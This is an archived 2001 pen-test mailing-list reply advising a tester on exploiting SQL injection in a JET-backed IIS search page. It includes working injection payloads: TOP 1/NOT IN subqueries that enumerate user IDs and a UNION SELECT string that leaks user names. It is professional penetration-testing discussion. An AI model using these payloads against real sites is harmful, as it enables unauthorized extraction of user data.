

Re: JET sql help please anyone

Source: <http://www.derkeiler.com/Mailing-Lists/securityfocus/pen-test/2001-11/0142.html>

From: Kevin Spett (kspett@spidynamics.com)

Date: 12/01/01

Message-ID: <001a01c179f8\$11e19010\$0901010a@spidata>
From: "Kevin Spett" <kspett@spidynamics.com>
To: <garyo@sec-1.com>, <pen-test@securityfocus.com>
Subject: Re: JET sql help please anyone
Date: Fri, 30 Nov 2001 15:38:09 -0800

The Microsoft Jet driver has different rules than the Microsoft SQL Server driver. SQL Server allows you to do all sort of things that won't work with the Jet Access driver. In this case it looks like you'll be able to get SQL injection, but it's doubtful that you'll be able to get arbitrary commands or code executed using this script.

> *I am performing a pen test against a IIS server which uses Microsoft jet to contact a database. I tried the usual stuff such as ' in the various fields and received a promising error*

>

> *Microsoft JET Database Engine error '80040e14'*

> *Syntax error in string in query expression '((User.UserCurrent)=True) AND (User.UserId = '') ORDER BY user.Name'.*

>

> */blah/blahbalh/search.asp, line 66*

Try this:

```
' + (SELECT TOP 1 User.UserID FROM User) + '
```

That'll use the first UserID in the table in the statement. In order to use the second in the table, use something like this:

```
' + (SELECT TOP 1 User.UserID FROM User WHERE User.UserID NOT IN ('whatever the first userid turned out to be')) + '
```

You can keep adding terms to the NOT IN argument and cycle through the whole table.

Or, you can insert a UNION SELECT to try to inject data into the returned page. Every web app is different, so it may take some extra steps specific to the this script, but it'll be something like the following. You'll have to figure out however many fields and their types there are in the query. You must have User.Name in the SELECT and User in the FROM in order to break the syntax error.

SecurityFocus Penetration: Re: JET sql help please anyone

NoSuchRecord') UNION SELECT user.name, field, field FROM table, user WHERE ('a'='a

> *Microsoft JET Database Engine error '80040e14'*
> *Characters found after end of SQL statement.*
>
> */blah/blahbalh/search.asp, line 66*

Jet driver doesn't allow multiple statements, so using ';' is illegal.
Also, it doesn't have the same stored procedures that SQL Server does either.

>
> *various other errors occurred during the test such as*
>
> *Microsoft JET Database Engine error '80040e14'*
> *Invalid SQL statement; expected 'DELETE', 'INSERT', 'PROCEDURE', 'SELECT',*
> *or 'UPDATE'.*

What'd you do to get that message?

Good luck.
Kevin Spett
Resident SQL Injection Ninja
SPI Dynamics, Inc.

This list is provided by the SecurityFocus Security Intelligence Alert (SIA) Service. For more information on SecurityFocus' SIA service which automatically alerts you to the latest security vulnerabilities please see: <https://alerts.securityfocus.com/>

- ***Previous message:*** [Andy Rees: "Oracle 8.0.6"](#)
- ***In reply to:*** [Gary O'leary-Steele: "JET sql help please anyone"](#)
- ***Messages sorted by:*** [\[date \] \[thread \] \[subject \] \[author \] \[attachment \]](#)